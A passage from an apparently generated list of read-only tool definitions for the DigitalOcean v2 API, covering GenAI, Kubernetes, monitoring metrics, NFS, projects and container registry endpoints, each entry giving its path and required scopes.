GET /v2/gen-ai/models/catalog/{id} GET /api/v1/digitalocean/v2/gen-ai/models/catalog/{id}. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_routers (read) — List Model Routers via GET /v2/gen-ai/models/routers GET /api/v1/digitalocean/v2/gen-ai/models/routers. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_routers_by_uuid (read) — Retrieve an Existing Model Router via GET /v2/gen-ai/models/routers/{uuid} GET /api/v1/digitalocean/v2/gen-ai/models/routers/{uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_routers_presets (read) — List Model Router Presets via GET /v2/gen-ai/models/routers/presets GET /api/v1/digitalocean/v2/gen-ai/models/routers/presets. Scopes: genai:read. digitalocean_get_v2_gen_ai_models_routers_tasks_presets (read) — List Model Router Task Presets via GET /v2/gen-ai/models/routers/tasks/presets GET /api/v1/digitalocean/v2/gen-ai/models/routers/tasks/presets. Scopes: genai:read. digitalocean_get_v2_gen_ai_oauth2_url (read) — Get Oauth2 URL via GET /v2/gen-ai/oauth2/url GET /api/v1/digitalocean/v2/gen-ai/oauth2/url. Scopes: genai:read. digitalocean_get_v2_gen_ai_openai_keys (read) — List OpenAI API Keys via GET /v2/gen-ai/openai/keys GET /api/v1/digitalocean/v2/gen-ai/openai/keys. Scopes: genai:read. digitalocean_get_v2_gen_ai_openai_keys_by_api_key_uuid (read) — Get OpenAI API Key via GET /v2/gen-ai/openai/keys/{api_key_uuid} GET /api/v1/digitalocean/v2/gen-ai/openai/keys/{api_key_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_openai_keys_by_uuid_agents (read) — List agents by OpenAI key via GET /v2/gen-ai/openai/keys/{uuid}/agents GET /api/v1/digitalocean/v2/gen-ai/openai/keys/{uuid}/agents. Scopes: genai:read. digitalocean_get_v2_gen_ai_regions (read) — List Datacenter Regions via GET /v2/gen-ai/regions GET /api/v1/digitalocean/v2/gen-ai/regions. Scopes: genai:read. digitalocean_get_v2_gen_ai_scheduled_indexing_knowledge_base_by_knowledge_base_uuid (read) — Get Scheduled Indexing for Knowledge Base via GET /v2/gen-ai/scheduled-indexing/knowledge-base/{knowledge_base_uuid} GET /api/v1/digitalocean/v2/gen-ai/scheduled-indexing/knowledge-base/{knowledge_base_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_workspaces (read) — List Workspaces via GET /v2/gen-ai/workspaces GET /api/v1/digitalocean/v2/gen-ai/workspaces. Scopes: genai:read. digitalocean_get_v2_gen_ai_workspaces_by_workspace_uuid (read) — Retrieve an Existing Workspace via GET /v2/gen-ai/workspaces/{workspace_uuid} GET /api/v1/digitalocean/v2/gen-ai/workspaces/{workspace_uuid}. Scopes: genai:read. digitalocean_get_v2_gen_ai_workspaces_by_workspace_uuid_agents (read) — List agents by Workspace via GET /v2/gen-ai/workspaces/{workspace_uuid}/agents GET /api/v1/digitalocean/v2/gen-ai/workspaces/{workspace_uuid}/agents. Scopes: genai:read. digitalocean_get_v2_gen_ai_workspaces_by_workspace_uuid_evaluation_test_cases (read) — List Evaluation Test Cases by Workspace via GET /v2/gen-ai/workspaces/{workspace_uuid}/evaluation_test_cases GET /api/v1/digitalocean/v2/gen-ai/workspaces/{workspace_uuid}/evaluation_test_cases. Scopes: genai:read. digitalocean_get_v2_images (read) — List All Images via GET /v2/images GET /api/v1/digitalocean/v2/images. Scopes: image:read. digitalocean_get_v2_images_by_image_id (read) — Retrieve an Existing Image via GET /v2/images/{image_id} GET /api/v1/digitalocean/v2/images/{image_id}. Scopes: image:read. digitalocean_get_v2_images_by_image_id_actions (read) — List All Actions for an Image via GET /v2/images/{image_id}/actions GET /api/v1/digitalocean/v2/images/{image_id}/actions. Scopes: image:read. digitalocean_get_v2_images_by_image_id_actions_by_action_id (read) — Retrieve an Existing Action via GET /v2/images/{image_id}/actions/{action_id} GET /api/v1/digitalocean/v2/images/{image_id}/actions/{action_id}. Scopes: image:read. digitalocean_get_v2_kubernetes_clusters (read) — List All Kubernetes Clusters via GET /v2/kubernetes/clusters GET /api/v1/digitalocean/v2/kubernetes/clusters. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id (read) — Retrieve an Existing Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id} GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_clusterlint (read) — Fetch Clusterlint Diagnostics for a Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id}/clusterlint GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/clusterlint. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_credentials (read) — Retrieve Credentials for a Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id}/credentials GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/credentials. Scopes: kubernetes:access_cluster. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_destroy_with_associated_resources (read) — List Associated Resources for Cluster Deletion via GET /v2/kubernetes/clusters/{cluster_id}/destroy_with_associated_resources GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/destroy_with_associated_resources. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_node_pools (read) — List All Node Pools in a Kubernetes Clusters via GET /v2/kubernetes/clusters/{cluster_id}/node_pools GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_node_pools_by_node_pool_id (read) — Retrieve a Node Pool for a Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id} GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_status_messages (read) — Fetch Status Messages for a Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id}/status_messages GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/status_messages. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_upgrades (read) — Retrieve Available Upgrades for an Existing Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id}/upgrades GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/upgrades. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_clusters_by_cluster_id_user (read) — Retrieve User Information for a Kubernetes Cluster via GET /v2/kubernetes/clusters/{cluster_id}/user GET /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/user. Scopes: kubernetes:read. digitalocean_get_v2_kubernetes_options (read) — List Available Regions, Node Sizes, and Versions of Kubernetes via GET /v2/kubernetes/options GET /api/v1/digitalocean/v2/kubernetes/options. Scopes: kubernetes:read. digitalocean_get_v2_load_balancers (read) — List All Load Balancers via GET /v2/load_balancers GET /api/v1/digitalocean/v2/load_balancers. Scopes: load_balancer:read. digitalocean_get_v2_load_balancers_by_lb_id (read) — Retrieve an Existing Load Balancer via GET /v2/load_balancers/{lb_id} GET /api/v1/digitalocean/v2/load_balancers/{lb_id}. Scopes: load_balancer:read. digitalocean_get_v2_monitoring_alerts (read) — List Alert Policies via GET /v2/monitoring/alerts GET /api/v1/digitalocean/v2/monitoring/alerts. Scopes: monitoring:read. digitalocean_get_v2_monitoring_alerts_by_alert_uuid (read) — Retrieve an Existing Alert Policy via GET /v2/monitoring/alerts/{alert_uuid} GET /api/v1/digitalocean/v2/monitoring/alerts/{alert_uuid}. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_apps_cpu_percentage (read) — Get App CPU Percentage Metrics via GET /v2/monitoring/metrics/apps/cpu_percentage GET /api/v1/digitalocean/v2/monitoring/metrics/apps/cpu_percentage. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_apps_memory_percentage (read) — Get App Memory Percentage Metrics via GET /v2/monitoring/metrics/apps/memory_percentage GET /api/v1/digitalocean/v2/monitoring/metrics/apps/memory_percentage. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_apps_restart_count (read) — Get App Restart Count Metrics via GET /v2/monitoring/metrics/apps/restart_count GET /api/v1/digitalocean/v2/monitoring/metrics/apps/restart_count. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_cpu_usage (read) — Get Database MySQL CPU Usage Metrics via GET /v2/monitoring/metrics/database/mysql/cpu_usage GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/cpu_usage. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_disk_usage (read) — Get Database MySQL Disk Usage Metrics via GET /v2/monitoring/metrics/database/mysql/disk_usage GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/disk_usage. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_index_vs_sequential_reads (read) — Get Database MySQL Index vs Sequential Reads Metrics via GET /v2/monitoring/metrics/database/mysql/index_vs_sequential_reads GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/index_vs_sequential_reads. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_load (read) — Get Database MySQL Load Average Metrics via GET /v2/monitoring/metrics/database/mysql/load GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/load. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_memory_usage (read) — Get Database MySQL Memory Usage Metrics via GET /v2/monitoring/metrics/database/mysql/memory_usage GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/memory_usage. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_op_rates (read) — Get Database MySQL Operations Throughput Metrics via GET /v2/monitoring/metrics/database/mysql/op_rates GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/op_rates. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_schema_latency (read) — Get Database MySQL Schema Latency Metrics via GET /v2/monitoring/metrics/database/mysql/schema_latency GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/schema_latency. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_schema_throughput (read) — Get Database MySQL Schema Throughput Metrics via GET /v2/monitoring/metrics/database/mysql/schema_throughput GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/schema_throughput. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_threads_active (read) — Get Database MySQL Threads Active Metrics via GET /v2/monitoring/metrics/database/mysql/threads_active GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/threads_active. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_threads_connected (read) — Get Database MySQL Threads Connected Metrics via GET /v2/monitoring/metrics/database/mysql/threads_connected GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/threads_connected. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_database_mysql_threads_created_rate (read) — Get Database MySQL Threads Created Rate Metrics via GET /v2/monitoring/metrics/database/mysql/threads_created_rate GET /api/v1/digitalocean/v2/monitoring/metrics/database/mysql/threads_created_rate. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_autoscale_current_cpu_utilization (read) — Get Droplet Autoscale Pool Current Average CPU utilization via GET /v2/monitoring/metrics/droplet_autoscale/current_cpu_utilization GET /api/v1/digitalocean/v2/monitoring/metrics/droplet_autoscale/current_cpu_utilization. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_autoscale_current_instances (read) — Get Droplet Autoscale Pool Current Size via GET /v2/monitoring/metrics/droplet_autoscale/current_instances GET /api/v1/digitalocean/v2/monitoring/metrics/droplet_autoscale/current_instances. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_autoscale_current_memory_utilization (read) — Get Droplet Autoscale Pool Current Average Memory utilization via GET /v2/monitoring/metrics/droplet_autoscale/current_memory_utilization GET /api/v1/digitalocean/v2/monitoring/metrics/droplet_autoscale/current_memory_utilization. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_autoscale_target_cpu_utilization (read) — Get Droplet Autoscale Pool Target Average CPU utilization via GET /v2/monitoring/metrics/droplet_autoscale/target_cpu_utilization GET /api/v1/digitalocean/v2/monitoring/metrics/droplet_autoscale/target_cpu_utilization. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_autoscale_target_instances (read) — Get Droplet Autoscale Pool Target Size via GET /v2/monitoring/metrics/droplet_autoscale/target_instances GET /api/v1/digitalocean/v2/monitoring/metrics/droplet_autoscale/target_instances. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_autoscale_target_memory_utilization (read) — Get Droplet Autoscale Pool Target Average Memory utilization via GET /v2/monitoring/metrics/droplet_autoscale/target_memory_utilization GET /api/v1/digitalocean/v2/monitoring/metrics/droplet_autoscale/target_memory_utilization. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_bandwidth (read) — Get Droplet Bandwidth Metrics via GET /v2/monitoring/metrics/droplet/bandwidth GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/bandwidth. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_cpu (read) — Get Droplet CPU Metrics via GET /v2/monitoring/metrics/droplet/cpu GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/cpu. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_filesystem_free (read) — Get Droplet Filesystem Free Metrics via GET /v2/monitoring/metrics/droplet/filesystem_free GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/filesystem_free. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_filesystem_size (read) — Get Droplet Filesystem Size Metrics via GET /v2/monitoring/metrics/droplet/filesystem_size GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/filesystem_size. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_load_1 (read) — Get Droplet Load1 Metrics via GET /v2/monitoring/metrics/droplet/load_1 GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/load_1. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_load_15 (read) — Get Droplet Load15 Metrics via GET /v2/monitoring/metrics/droplet/load_15 GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/load_15. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_load_5 (read) — Get Droplet Load5 Metrics via GET /v2/monitoring/metrics/droplet/load_5 GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/load_5. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_memory_available (read) — Get Droplet Available Memory Metrics via GET /v2/monitoring/metrics/droplet/memory_available GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/memory_available. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_memory_cached (read) — Get Droplet Cached Memory Metrics via GET /v2/monitoring/metrics/droplet/memory_cached GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/memory_cached. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_memory_free (read) — Get Droplet Free Memory Metrics via GET /v2/monitoring/metrics/droplet/memory_free GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/memory_free. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_droplet_memory_total (read) — Get Droplet Total Memory Metrics via GET /v2/monitoring/metrics/droplet/memory_total GET /api/v1/digitalocean/v2/monitoring/metrics/droplet/memory_total. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_connections (read) — Get Load Balancer Droplets Active Connections Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_connections GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_connections. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_downtime (read) — Get Load Balancer Droplets Downtime Status Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_downtime GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_downtime. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_health_checks (read) — Get Load Balancer Droplets Health Check Status Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_health_checks GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_health_checks. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_response_time_50p (read) — Get Load Balancer Droplets 50th Percentile HTTP Response Time Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_response_time_50p GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_response_time_50p. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_response_time_95p (read) — Get Load Balancer Droplets 95th Percentile HTTP Response Time Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_response_time_95p GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_response_time_95p. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_response_time_99p (read) — Get Load Balancer Droplets 99th Percentile HTTP Response Time Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_response_time_99p GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_response_time_99p. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_response_time_avg (read) — Get Load Balancer Droplets Average HTTP Response Time Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_response_time_avg GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_response_time_avg. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_responses (read) — Get Load Balancer Droplets HTTP Rate Of Response Code Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_responses GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_responses. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_session_duration_50p (read) — Get Load Balancer Droplets 50th Percentile HTTP Session Duration Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_session_duration_50p GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_session_duration_50p. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_session_duration_95p (read) — Get Load Balancer Droplets 95th Percentile HTTP Session Duration Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_session_duration_95p GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_session_duration_95p. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_http_session_duration_avg (read) — Get Load Balancer Droplets Average HTTP Session Duration Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_http_session_duration_avg GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_http_session_duration_avg. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_droplets_queue_size (read) — Get Load Balancer Droplets Queue Size Metrics via GET /v2/monitoring/metrics/load_balancer/droplets_queue_size GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/droplets_queue_size. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_connections_current (read) — Get Load Balancer Frontend Total Current Active Connections Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_connections_current GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_connections_current. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_connections_limit (read) — Get Load Balancer Frontend Max Connections Limit Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_connections_limit GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_connections_limit. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_cpu_utilization (read) — Get Load Balancer Frontend Average Percentage CPU Utilization Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_cpu_utilization GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_cpu_utilization. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_firewall_dropped_bytes (read) — Get Load Balancer Frontend Firewall Dropped Bytes Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_firewall_dropped_bytes GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_firewall_dropped_bytes. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_firewall_dropped_packets (read) — Get Load Balancer Frontend Firewall Dropped Packets Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_firewall_dropped_packets GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_firewall_dropped_packets. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_http_requests_per_second (read) — Get Load Balancer Frontend HTTP Requests Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_http_requests_per_second GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_http_requests_per_second. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_http_responses (read) — Get Load Balancer Frontend HTTP Rate Of Response Code Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_http_responses GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_http_responses. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_network_throughput_http (read) — Get Load Balancer Frontend HTTP Throughput Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_network_throughput_http GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_network_throughput_http. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_network_throughput_tcp (read) — Get Load Balancer Frontend TCP Throughput Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_network_throughput_tcp GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_network_throughput_tcp. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_network_throughput_udp (read) — Get Load Balancer Frontend UDP Throughput Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_network_throughput_udp GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_network_throughput_udp. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_nlb_tcp_network_throughput (read) — Get Network Load Balancer Frontend TCP Throughput Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_nlb_tcp_network_throughput GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_nlb_tcp_network_throughput. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_nlb_udp_network_throughput (read) — Get Network Load Balancer Frontend UDP Throughput Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_nlb_udp_network_throughput GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_nlb_udp_network_throughput. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_tls_connections_current (read) — Get Load Balancer Frontend Current TLS Connections Rate Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_tls_connections_current GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_tls_connections_current. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_tls_connections_exceeding_rate_limit (read) — Get Load Balancer Frontend Closed TLS Connections For Exceeded Rate Limit Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_tls_connections_exceeding_rate_limit GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_tls_connections_exceeding_rate_limit. Scopes: monitoring:read. digitalocean_get_v2_monitoring_metrics_load_balancer_frontend_tls_connections_limit (read) — Get Load Balancer Frontend Max TLS Connections Limit Metrics via GET /v2/monitoring/metrics/load_balancer/frontend_tls_connections_limit GET /api/v1/digitalocean/v2/monitoring/metrics/load_balancer/frontend_tls_connections_limit. Scopes: monitoring:read. digitalocean_get_v2_monitoring_sinks (read) — Lists all sinks via GET /v2/monitoring/sinks GET /api/v1/digitalocean/v2/monitoring/sinks. Scopes: monitoring:read. digitalocean_get_v2_monitoring_sinks_by_sink_uuid (read) — Get Sink via GET /v2/monitoring/sinks/{sink_uuid} GET /api/v1/digitalocean/v2/monitoring/sinks/{sink_uuid}. Scopes: monitoring:read. digitalocean_get_v2_monitoring_sinks_destinations (read) — List Logging Destinations via GET /v2/monitoring/sinks/destinations GET /api/v1/digitalocean/v2/monitoring/sinks/destinations. Scopes: monitoring:read. digitalocean_get_v2_monitoring_sinks_destinations_by_destination_uuid (read) — Get Logging Destination via GET /v2/monitoring/sinks/destinations/{destination_uuid} GET /api/v1/digitalocean/v2/monitoring/sinks/destinations/{destination_uuid}. Scopes: monitoring:read. digitalocean_get_v2_nfs (read) — List NFS shares per region via GET /v2/nfs GET /api/v1/digitalocean/v2/nfs. Scopes: nfs:read. digitalocean_get_v2_nfs_access_points_by_access_point_id (read) — Get an NFS access point via GET /v2/nfs/access_points/{access_point_id} GET /api/v1/digitalocean/v2/nfs/access_points/{access_point_id}. Scopes: nfs:read. digitalocean_get_v2_nfs_by_nfs_id (read) — Get an NFS share via GET /v2/nfs/{nfs_id} GET /api/v1/digitalocean/v2/nfs/{nfs_id}. Scopes: nfs:read. digitalocean_get_v2_nfs_shares_by_share_id_access_points (read) — List NFS access points for a share via GET /v2/nfs/shares/{share_id}/access_points GET /api/v1/digitalocean/v2/nfs/shares/{share_id}/access_points. Scopes: nfs:read. digitalocean_get_v2_nfs_snapshots (read) — List NFS snapshots per region via GET /v2/nfs/snapshots GET /api/v1/digitalocean/v2/nfs/snapshots. Scopes: nfs:read. digitalocean_get_v2_nfs_snapshots_by_nfs_snapshot_id (read) — Get an NFS snapshot by ID via GET /v2/nfs/snapshots/{nfs_snapshot_id} GET /api/v1/digitalocean/v2/nfs/snapshots/{nfs_snapshot_id}. Scopes: nfs:read. digitalocean_get_v2_organizations_teams (read) — List Teams in an Organization via GET /v2/organizations/teams GET /api/v1/digitalocean/v2/organizations/teams. Scopes: organization_membership:read_teams. digitalocean_get_v2_partner_network_connect_attachments (read) — List all partner attachments via GET /v2/partner_network_connect/attachments GET /api/v1/digitalocean/v2/partner_network_connect/attachments. Scopes: partner_network_connect:read. digitalocean_get_v2_partner_network_connect_attachments_by_pa_id (read) — Retrieve an existing partner attachment via GET /v2/partner_network_connect/attachments/{pa_id} GET /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}. Scopes: partner_network_connect:read. digitalocean_get_v2_partner_network_connect_attachments_by_pa_id_bgp_auth_key (read) — Get current BGP auth key for the partner attachment via GET /v2/partner_network_connect/attachments/{pa_id}/bgp_auth_key GET /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}/bgp_auth_key. Scopes: partner_network_connect:read. digitalocean_get_v2_partner_network_connect_attachments_by_pa_id_remote_routes (read) — List remote routes for a partner attachment via GET /v2/partner_network_connect/attachments/{pa_id}/remote_routes GET /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}/remote_routes. Scopes: partner_network_connect:read. digitalocean_get_v2_partner_network_connect_attachments_by_pa_id_service_key (read) — Get the current service key for the partner attachment via GET /v2/partner_network_connect/attachments/{pa_id}/service_key GET /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}/service_key. Scopes: partner_network_connect:read. digitalocean_get_v2_projects (read) — List All Projects via GET /v2/projects GET /api/v1/digitalocean/v2/projects. Scopes: project:read. digitalocean_get_v2_projects_by_project_id (read) — Retrieve an Existing Project via GET /v2/projects/{project_id} GET /api/v1/digitalocean/v2/projects/{project_id}. Scopes: project:read. digitalocean_get_v2_projects_by_project_id_resources (read) — List Project Resources via GET /v2/projects/{project_id}/resources GET /api/v1/digitalocean/v2/projects/{project_id}/resources. Scopes: project:read. digitalocean_get_v2_projects_default (read) — Retrieve the Default Project via GET /v2/projects/default GET /api/v1/digitalocean/v2/projects/default. Scopes: project:read. digitalocean_get_v2_projects_default_resources (read) — List Default Project Resources via GET /v2/projects/default/resources GET /api/v1/digitalocean/v2/projects/default/resources. Scopes: project:read. digitalocean_get_v2_regions (read) — List All Data Center Regions via GET /v2/regions GET /api/v1/digitalocean/v2/regions. Scopes: regions:read. digitalocean_get_v2_registries (read) — List All Container Registries via GET /v2/registries GET /api/v1/digitalocean/v2/registries. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name (read) — Get a Container Registry By Name via GET /v2/registries/{registry_name} GET /api/v1/digitalocean/v2/registries/{registry_name}. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name_docker_credentials (read) — Get Docker Credentials By Registry Name via GET /v2/registries/{registry_name}/docker-credentials GET /api/v1/digitalocean/v2/registries/{registry_name}/docker-credentials. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name_garbage_collection (read) — Get Active Garbage Collection via GET /v2/registries/{registry_name}/garbage-collection GET /api/v1/digitalocean/v2/registries/{registry_name}/garbage-collection. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name_garbage_collections (read) — List Garbage Collections via GET /v2/registries/{registry_name}/garbage-collections GET /api/v1/digitalocean/v2/registries/{registry_name}/garbage-collections. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name_repositories_by_repository_name_digests (read) — List All Container Registry Repository Manifests via GET /v2/registries/{registry_name}/repositories/{repository_name}/digests GET /api/v1/digitalocean/v2/registries/{registry_name}/repositories/{repository_name}/digests. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name_repositories_by_repository_name_tags (read) — List All Container Registry Repository Tags via GET /v2/registries/{registry_name}/repositories/{repository_name}/tags GET 